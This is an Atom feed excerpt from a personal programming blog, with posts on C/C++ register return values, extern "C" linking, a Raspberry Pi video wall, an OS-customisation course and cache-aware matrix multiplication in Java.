<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2284135312097304256</id><updated>2025-04-12T11:25:57.410-07:00</updated><category term="C/C++"/><category term="Augmented Reality"/><category term="unity 3d"/><category term="faceapi"/><category term="c sharp"/><category term="hand vu"/><category term="hobby coders"/><category term="java"/><category term="php"/><category term="using c"/><category term="C/C++ to assembly"/><category term="GPS moving marker"/><category term="Google Talk Status"/><category term="UPnP"/><category term="VLC media player current status"/><category term="actionscript"/><category term="architecture"/><category term="array"/><category term="assembly code of C/C++"/><category term="auto"/><category term="background remove"/><category term="best way"/><category term="bit"/><category term="bot"/><category term="bruteforce"/><category term="byte"/><category term="byte array to bit"/><category term="byte to bit"/><category term="cache"/><category term="call stack"/><category term="click"/><category term="code"/><category term="coder team"/><category term="college research project idea"/><category term="colors"/><category term="comparing"/><category term="create your own OS"/><category term="curl"/><category term="customize OS"/><category term="debugging"/><category term="extern &quot;C&quot;"/><category term="facebook like button in each topic"/><category term="flash"/><category term="flex"/><category term="free for social welfare organizations"/><category term="from code"/><category term="function return value internals"/><category term="google maps"/><category term="hacking"/><category term="learn"/><category term="learn minix"/><category term="master"/><category term="matrix multiplication"/><category term="minix"/><category term="multi core"/><category term="name mangling"/><category term="new line"/><category term="non IT people"/><category term="non profit software team"/><category term="openelec"/><category term="parallel make"/><category term="performance improvement"/><category term="phpbb hack"/><category term="print"/><category term="problem"/><category term="raspberry pi"/><category term="simulating GPS client"/><category term="simulating google latitude"/><category term="simulating people moving"/><category term="textarea"/><category term="understanding datatypes"/><category term="unix"/><category term="using c++"/><category term="video wall"/><category term="web api"/><category term="web programming"/><category term="web scripting"/><category term="web.h"/><category term="webcam"/><title type='text'>Srirams Personal Stuffs</title><subtitle type='html'>Free software, Algorithms, Suggestions, Ideas, Concepts, Code Snippets</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://mypersonalsoft.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://mypersonalsoft.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Sriram .A.S.</name><uri>http://www.blogger.com/profile/01337412806938375187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTOk5pBDrD3bVsTMorH56P6isEct3xssz8HHkLk-EdL95yUKrpw_TjR3PQypX_IqjW-pj5rp4JuEc73FMsqe49yDm1DvsSEIJZtuP4DYsGq5aej-mwDfdjj_cbd1yIA/s220/DP.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>28</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2284135312097304256.post-7605301668002067270</id><published>2016-04-02T21:37:00.000-07:00</published><updated>2016-04-02T21:37:58.754-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="C/C++"/><category scheme="http://www.blogger.com/atom/ns#" term="function return value internals"/><title type='text'>C/C++ Function returns value through register A</title><content type='html'>Did you know? C/C++ functions return values through register A:&lt;br /&gt;
&lt;br /&gt;
(Try on visual studio)&lt;br /&gt;
&lt;br /&gt;
int Temp()&lt;br /&gt;
{&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;_asm&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;{&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;mov eax, 10&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;br /&gt;
}&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
main()&lt;/div&gt;
&lt;div&gt;
{&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;int x = Temp();&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;cout&amp;lt;&amp;lt;x; //10&lt;/div&gt;
&lt;div&gt;
}&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
With the understanding that a micro-controller register is used for returning values, think what happens when you return primitive datatypes, pointers, references etc., from functions and how the function behaves!!&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://mypersonalsoft.blogspot.com/feeds/7605301668002067270/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mypersonalsoft.blogspot.com/2016/04/cc-function-returns-value-through.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/7605301668002067270'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/7605301668002067270'/><link rel='alternate' type='text/html' href='http://mypersonalsoft.blogspot.com/2016/04/cc-function-returns-value-through.html' title='C/C++ Function returns value through register A'/><author><name>Sriram .A.S.</name><uri>http://www.blogger.com/profile/01337412806938375187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTOk5pBDrD3bVsTMorH56P6isEct3xssz8HHkLk-EdL95yUKrpw_TjR3PQypX_IqjW-pj5rp4JuEc73FMsqe49yDm1DvsSEIJZtuP4DYsGq5aej-mwDfdjj_cbd1yIA/s220/DP.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2284135312097304256.post-708405589310535772</id><published>2015-02-18T00:22:00.001-08:00</published><updated>2015-02-18T00:26:40.045-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="openelec"/><category scheme="http://www.blogger.com/atom/ns#" term="raspberry pi"/><category scheme="http://www.blogger.com/atom/ns#" term="UPnP"/><category scheme="http://www.blogger.com/atom/ns#" term="video wall"/><title type='text'>Video Wall using Raspberry Pi</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIBPpVHNm12WHKZR2ozmH4JXA3sGAPBIl6vveiR1RlGXiNUftU6ZRELV78AhkrAOidsHfJSWlaANpaFhy8VIPSAl-BKiMOi4kPVXPdBBuPRrgNmPPx4P8i1oUsvM-FgSevS-nLBKnT2LSA/s1600/IMG_20150109_013356118.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIBPpVHNm12WHKZR2ozmH4JXA3sGAPBIl6vveiR1RlGXiNUftU6ZRELV78AhkrAOidsHfJSWlaANpaFhy8VIPSAl-BKiMOi4kPVXPdBBuPRrgNmPPx4P8i1oUsvM-FgSevS-nLBKnT2LSA/s1600/IMG_20150109_013356118.jpg&quot; height=&quot;225&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Over the weekend, I was working on a prototype of a &lt;a href=&quot;http://en.wikipedia.org/wiki/Video_wall&quot;&gt;Video Wall&lt;/a&gt; implementation using Raspberry Pi and succeeded in it. I share my architecture here:&lt;br /&gt;
&lt;br /&gt;
1. Raspberry Pi is supported by &lt;a href=&quot;http://openelec.tv/&quot;&gt;OpenELEC&lt;/a&gt;, which will turn your Pi into a media center. Install it in your Pi and interface it to your TV and attach it to your wireless network.&lt;br /&gt;
&lt;br /&gt;
2. &lt;a href=&quot;http://en.wikipedia.org/wiki/Universal_Plug_and_Play&quot;&gt;UPnP&lt;/a&gt; protocol is a popular media sharing protocol. You can turn your Pi into a UPnP client by following this:&amp;nbsp;&lt;a href=&quot;http://kodi.wiki/view/UPnP/Client&quot;&gt;http://kodi.wiki/view/UPnP/Client&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
3. Your Pi is ready to display media on TV by any network device which can speak in UPnP. For android devices, there are plenty of apps that can interact with UPnP devices in your network like &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.n7mobile.simpleupnpplayer&amp;amp;hl=en&quot;&gt;Toaster Cast&lt;/a&gt;. (This step is just to test your single video wall monitor and have some fun with Pi)&lt;br /&gt;
&lt;br /&gt;
4. To extend this as an &quot;n&quot; monitor video wall, you need &quot;n&quot; Raspberry Pi and one computer that will split each video frame to &quot;n&quot; pieces each for a monitor display, then transmit this data as UPnP to the Pi network, which will in-turn render the frame to the monitor display attached to it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Without resources, I can&#39;t complete step &quot;4&quot;, but would be happy to work together with someone who wants to realise a fully functional video wall.</content><link rel='replies' type='application/atom+xml' href='http://mypersonalsoft.blogspot.com/feeds/708405589310535772/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mypersonalsoft.blogspot.com/2015/02/video-wall-using-raspberry-pi.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/708405589310535772'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/708405589310535772'/><link rel='alternate' type='text/html' href='http://mypersonalsoft.blogspot.com/2015/02/video-wall-using-raspberry-pi.html' title='Video Wall using Raspberry Pi'/><author><name>Sriram .A.S.</name><uri>http://www.blogger.com/profile/01337412806938375187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTOk5pBDrD3bVsTMorH56P6isEct3xssz8HHkLk-EdL95yUKrpw_TjR3PQypX_IqjW-pj5rp4JuEc73FMsqe49yDm1DvsSEIJZtuP4DYsGq5aej-mwDfdjj_cbd1yIA/s220/DP.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIBPpVHNm12WHKZR2ozmH4JXA3sGAPBIl6vveiR1RlGXiNUftU6ZRELV78AhkrAOidsHfJSWlaANpaFhy8VIPSAl-BKiMOi4kPVXPdBBuPRrgNmPPx4P8i1oUsvM-FgSevS-nLBKnT2LSA/s72-c/IMG_20150109_013356118.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2284135312097304256.post-1445850061448669179</id><published>2014-11-27T10:06:00.000-08:00</published><updated>2014-11-27T10:06:37.216-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="C/C++"/><category scheme="http://www.blogger.com/atom/ns#" term="extern &quot;C&quot;"/><category scheme="http://www.blogger.com/atom/ns#" term="name mangling"/><title type='text'>Linking C and C++ functions using extern specifier</title><content type='html'>The way C and C++ compilers generate the assembly code is a little different, this could give lots of linker errors while trying to link a function written in a C file in a C++ code or vice-versa when using the extern specifier.&lt;br /&gt;
&lt;br /&gt;
Always remember that C/C++ codes are directly converted to object and assembly codes that are just linear in nature like:&lt;br /&gt;
&lt;br /&gt;
_printf_:&lt;br /&gt;
;Actual code to print&lt;br /&gt;
&amp;nbsp;_main_:&lt;br /&gt;
call _printf_&amp;nbsp;&amp;nbsp;&amp;nbsp; ;now the actual code under label _printf_ is called&lt;br /&gt;
&lt;br /&gt;
Something like goto style code. Thus, printf() function might be atlast converted to _printf_ label in the object/assembly code. This label is used for linking stage.&lt;br /&gt;
&lt;br /&gt;
Lets take a project which contains one C file and one CPP file.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;test1.c&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
void function_c()&lt;br /&gt;
{&lt;br /&gt;
printf(&quot;From C&quot;); &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;test2.cpp&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
extern function_c();&lt;br /&gt;
void function_cpp()&lt;br /&gt;
{&lt;br /&gt;
function_c();&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
This will not work because C compiler generates function name for function_c something like &quot;_function_c_&quot;. But the C++ compiler (as it supports function overloading concepts) looks for the label &quot;?function_c@@YAXXZ&quot;, hence it wont compile. To resolve this use the extern &quot;C&quot; option:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;test2.cpp&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
extern &lt;b&gt;&quot;C&quot;&lt;/b&gt; function_c();&lt;br /&gt;
void function_cpp()&lt;br /&gt;
{&lt;br /&gt;
function_c();&lt;br /&gt;
}&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
For more insights, read about Name mangling in C++: http://en.wikipedia.org/wiki/Name_mangling#Name_mangling_in_C.2B.2B&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://mypersonalsoft.blogspot.com/feeds/1445850061448669179/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mypersonalsoft.blogspot.com/2014/11/linking-c-and-c-functions-using-extern.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/1445850061448669179'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/1445850061448669179'/><link rel='alternate' type='text/html' href='http://mypersonalsoft.blogspot.com/2014/11/linking-c-and-c-functions-using-extern.html' title='Linking C and C++ functions using extern specifier'/><author><name>Sriram .A.S.</name><uri>http://www.blogger.com/profile/01337412806938375187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTOk5pBDrD3bVsTMorH56P6isEct3xssz8HHkLk-EdL95yUKrpw_TjR3PQypX_IqjW-pj5rp4JuEc73FMsqe49yDm1DvsSEIJZtuP4DYsGq5aej-mwDfdjj_cbd1yIA/s220/DP.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2284135312097304256.post-2572656673717469779</id><published>2014-01-01T14:20:00.000-08:00</published><updated>2014-01-01T14:20:13.860-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="college research project idea"/><category scheme="http://www.blogger.com/atom/ns#" term="create your own OS"/><category scheme="http://www.blogger.com/atom/ns#" term="customize OS"/><category scheme="http://www.blogger.com/atom/ns#" term="hobby coders"/><category scheme="http://www.blogger.com/atom/ns#" term="learn minix"/><category scheme="http://www.blogger.com/atom/ns#" term="minix"/><category scheme="http://www.blogger.com/atom/ns#" term="using c"/><title type='text'>Learn to customize an OS and create your own flavour</title><content type='html'>Its always a dream for geeky IT students to customize OS code to add some stuffs like, adding an additional screen during OS boots, adding your name in right click menu everything. But since they don&#39;t get proper guidance and direction to explore about this, most of them get bored and their enthusiasm goes down.&lt;br /&gt;
&lt;br /&gt;
Students! What if you get a very good e-course which will teach you FROM SCRATCH everything required (technologies, tools, mind sets, innovative ideas) to download a live OS code, open the code and do something geeky with it, play with the Kernel, may be modify the OS TCP/IP code to be more effective and lot more. May be you got a very good research concept about OS but since you can&#39;t implement it and measure the result your new modified algorithm produces, you left presenting a great tech research paper.&lt;br /&gt;
&lt;br /&gt;
No more worries! If you think that your college project is not/less innovate, its mundane, but you feel you are dedicated and have the zeal to learn and code complex things, here is what you need to do.&lt;br /&gt;
&lt;br /&gt;
I have experimented with some OS codes and felt that my work will be a great asset for college students/researchers/hobbyists especially for research projects and I am documenting my work at: &lt;a href=&quot;http://hobbycoders.com/elearning/course/view.php?id=2&quot;&gt;http://hobbycoders.com/elearning/course/view.php?id=2&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://hobbycoders.com/&quot;&gt;Hobby Coders&lt;/a&gt; is non-profit team of coders who work for passion. Please &lt;a href=&quot;http://hobbycoders.com/elearning/login/signup.php&quot;&gt;register here&lt;/a&gt; to get email notifications when new chapters/topics/course are added.</content><link rel='replies' type='application/atom+xml' href='http://mypersonalsoft.blogspot.com/feeds/2572656673717469779/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mypersonalsoft.blogspot.com/2014/01/learn-to-customize-os-and-create-your.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/2572656673717469779'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/2572656673717469779'/><link rel='alternate' type='text/html' href='http://mypersonalsoft.blogspot.com/2014/01/learn-to-customize-os-and-create-your.html' title='Learn to customize an OS and create your own flavour'/><author><name>Sriram .A.S.</name><uri>http://www.blogger.com/profile/01337412806938375187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTOk5pBDrD3bVsTMorH56P6isEct3xssz8HHkLk-EdL95yUKrpw_TjR3PQypX_IqjW-pj5rp4JuEc73FMsqe49yDm1DvsSEIJZtuP4DYsGq5aej-mwDfdjj_cbd1yIA/s220/DP.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2284135312097304256.post-6111543340966292629</id><published>2013-06-10T07:52:00.000-07:00</published><updated>2013-06-11T00:54:08.981-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="architecture"/><category scheme="http://www.blogger.com/atom/ns#" term="C/C++"/><category scheme="http://www.blogger.com/atom/ns#" term="cache"/><category scheme="http://www.blogger.com/atom/ns#" term="java"/><category scheme="http://www.blogger.com/atom/ns#" term="matrix multiplication"/><category scheme="http://www.blogger.com/atom/ns#" term="performance improvement"/><title type='text'>How Computer Architecture and C++ can help a Java developer to improve in performance</title><content type='html'>Recently I came across an interesting example of how the knowledge of C/C++ and Computer Architecture can help a Java developer to code better performing code and want to share with you all.&lt;br /&gt;
&lt;br /&gt;
Lets take an example of Matrix multiplication of two 1000x1000 matrices in two ways: (Download the source code&lt;b&gt; &lt;/b&gt;from: &lt;a href=&quot;https://docs.google.com/file/d/0BxxKTIP8UwuMbXpqb3JJYVN6Rm8/edit?usp=sharing&quot;&gt;https://docs.google.com/file/d/0BxxKTIP8UwuMbXpqb3JJYVN6Rm8/edit?usp=sharing&lt;/a&gt;)&lt;br /&gt;
1. &lt;b&gt;The traditional logic &amp;nbsp; ( &lt;a href=&quot;https://docs.google.com/file/d/0BxxKTIP8UwuMbXpqb3JJYVN6Rm8/edit?usp=sharing&quot;&gt;usualMatrixMul()&lt;/a&gt; function has this logic in the code shared )&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKzztwLKLT7emLnmYTiINc2BZ8oAE6o0F6CgRzkl-86KAOsPdB0chkNQxALXe5706pQhYdexWhr5ApbhgRuk2vMVcZCp6oa_Ehnab1GKDbDX7-1ucTi3L1X-ra6j7nV4BtgbgRA7skKiSk/s1600/usualMatrixMul.jpg&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqxv0cLigRpq6djd9vOBp9G5Zh0DF2D1CgzTj1bCRuJIlA5lMxQnhCokDKYJNHPZECfkzb33SFYeExTGFDxJ1_1S2k4vxAhXttHTiGufsQM8xFYNgYrI9c6lf3VEpB-t4miXDMHu-Emma8/s1600/usualMatrixMul.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
This is the traditional way, which was taught to us in schools. We traverse matrix 1 horizontally and matrix 2 vertically, multiplying the corresponding elements and calculating partial sums and adding all partial sums at last to find the resulting matrix&#39;s element. &lt;/div&gt;
&lt;br /&gt;
2. &lt;b&gt;Slightly modified logic &lt;/b&gt;&lt;b&gt;( &lt;a href=&quot;https://docs.google.com/file/d/0BxxKTIP8UwuMbXpqb3JJYVN6Rm8/edit?usp=sharing&quot;&gt;modifiedMatrixMul()&lt;/a&gt; function has this logic in the code shared )&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTSd8GPuAznLrEhSITMaRroLJtnK9DCx-m3HAT0tt9aL_J9gzRexvusESJgEDWIrz72Nfz_SEXAVOipsHhlRLKY-of2z_Fxm_tDi6xbcWe5G6FkXS3YK20R2bNcicFe9YtW54gGgWtnurI/s1600/modifiedMatrixMul.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTSd8GPuAznLrEhSITMaRroLJtnK9DCx-m3HAT0tt9aL_J9gzRexvusESJgEDWIrz72Nfz_SEXAVOipsHhlRLKY-of2z_Fxm_tDi6xbcWe5G6FkXS3YK20R2bNcicFe9YtW54gGgWtnurI/s1600/modifiedMatrixMul.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&amp;nbsp;In this slightly modified algorithm, we first transpose martix 2, and do the same traditional logic, but catered to the transposed matrix 2.&lt;br /&gt;
&lt;br /&gt;
A demo run of these two algorithms took the following time to run: (x86 processor, Win32)&lt;br /&gt;
&lt;i&gt;Usual matrix multiplication algorithm takes &lt;b&gt;24797 ms&lt;/b&gt;&lt;br /&gt;Modified matrix multiplication algorithm takes &lt;b&gt;8500 ms&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;How this small change in logic can reduce the time of run by about three times?&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Well, a little bit of knowledge about C/C++ and Computer Architecture can help you understand this.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1. &lt;b&gt;From C/C++: Multidimensional arrays are stored linear in the memory&lt;/b&gt;&lt;br /&gt;
JVM is itself implemented in C/C++. Under the hood, Java arrays are mapped to C/C++ arrays as the dynamic memory allocation logic for Java arrays are . In C/C++ arrays, be in single/multi dimension/s, are stored linear in memory.&lt;br /&gt;
For instance,&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKzztwLKLT7emLnmYTiINc2BZ8oAE6o0F6CgRzkl-86KAOsPdB0chkNQxALXe5706pQhYdexWhr5ApbhgRuk2vMVcZCp6oa_Ehnab1GKDbDX7-1ucTi3L1X-ra6j7nV4BtgbgRA7skKiSk/s1600/usualMatrixMul.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKzztwLKLT7emLnmYTiINc2BZ8oAE6o0F6CgRzkl-86KAOsPdB0chkNQxALXe5706pQhYdexWhr5ApbhgRuk2vMVcZCp6oa_Ehnab1GKDbDX7-1ucTi3L1X-ra6j7nV4BtgbgRA7skKiSk/s1600/usualMatrixMul.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Array X in memory is stored as: X11 X12 X21 X22&lt;br /&gt;
Array Y in memory is stored as Y11 Y12 Y21 Y22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2. &lt;b&gt;From Computer Architecture: Processor Cache caches chunks of linear data from memory to Cache&lt;/b&gt;&lt;br /&gt;
When your CPU needs some data from the memory, it first consults the cache, if it has the data. If the cache has the data from expected memory address (called Cache Hit), it immediately gives the data to the CPU and CPU proceeds with its work. But if the cache haven&#39;t cached the memory address, there is a Cache Miss and the CPU then goes to main memory to fetch the block to cache and proceeds with its execution.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;Cache accessing time is in nanoseconds, where was accessing main memory (RAM) will take long time in comparison.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;How these help in the slightly modified algorithm?&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; When the array is very large, parts of the array are cached and when there is a miss on some other part of array, then the subsequent part of the array is cached linearly.&lt;br /&gt;
&lt;br /&gt;
In case of matrix multiplication by the traditional logic, matrix X is cached linearly and access linearly, so Cache misses are less. But, for matrix Y, the cache is like Y11 Y12 Y21 Y22, but is accessed like Y11 Y21 Y12 Y22.&lt;br /&gt;
&lt;br /&gt;
For large data, like 1000x1000 matrix, the cache miss for matrix Y will be huge and everytime, the CPU has to bring data from main memory which is comparatively a time expensive operation and as said earlier, cache works like caching a chunk of data in increasing linear way of addressable memory.&lt;br /&gt;
&lt;br /&gt;
Hence, tweaking the logic little bit and access matrix Y linearly reduces cache misses and shows improvement in performance of time.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Download source code at: &lt;a href=&quot;https://docs.google.com/file/d/0BxxKTIP8UwuMbXpqb3JJYVN6Rm8/edit?usp=sharing&quot;&gt;https://docs.google.com/file/d/0BxxKTIP8UwuMbXpqb3JJYVN6Rm8/edit?usp=sharing&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
This performance improvement is based on caching and is specific to the traditional algorithm and is true for any programming language, Java/C/C++. Just java developers need to know additionally the way java arrays are handled by JVM.</content><link rel='replies' type='application/atom+xml' href='http://mypersonalsoft.blogspot.com/feeds/6111543340966292629/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mypersonalsoft.blogspot.com/2013/06/how-computer-architecture-and-c-can.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/6111543340966292629'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/6111543340966292629'/><link rel='alternate' type='text/html' href='http://mypersonalsoft.blogspot.com/2013/06/how-computer-architecture-and-c-can.html' title='How Computer Architecture and C++ can help a Java developer to improve in performance'/><author><name>Sriram .A.S.</name><uri>http://www.blogger.com/profile/01337412806938375187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTOk5pBDrD3bVsTMorH56P6isEct3xssz8HHkLk-EdL95yUKrpw_TjR3PQypX_IqjW-pj5rp4JuEc73FMsqe49yDm1DvsSEIJZtuP4DYsGq5aej-mwDfdjj_cbd1yIA/s220/DP.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" 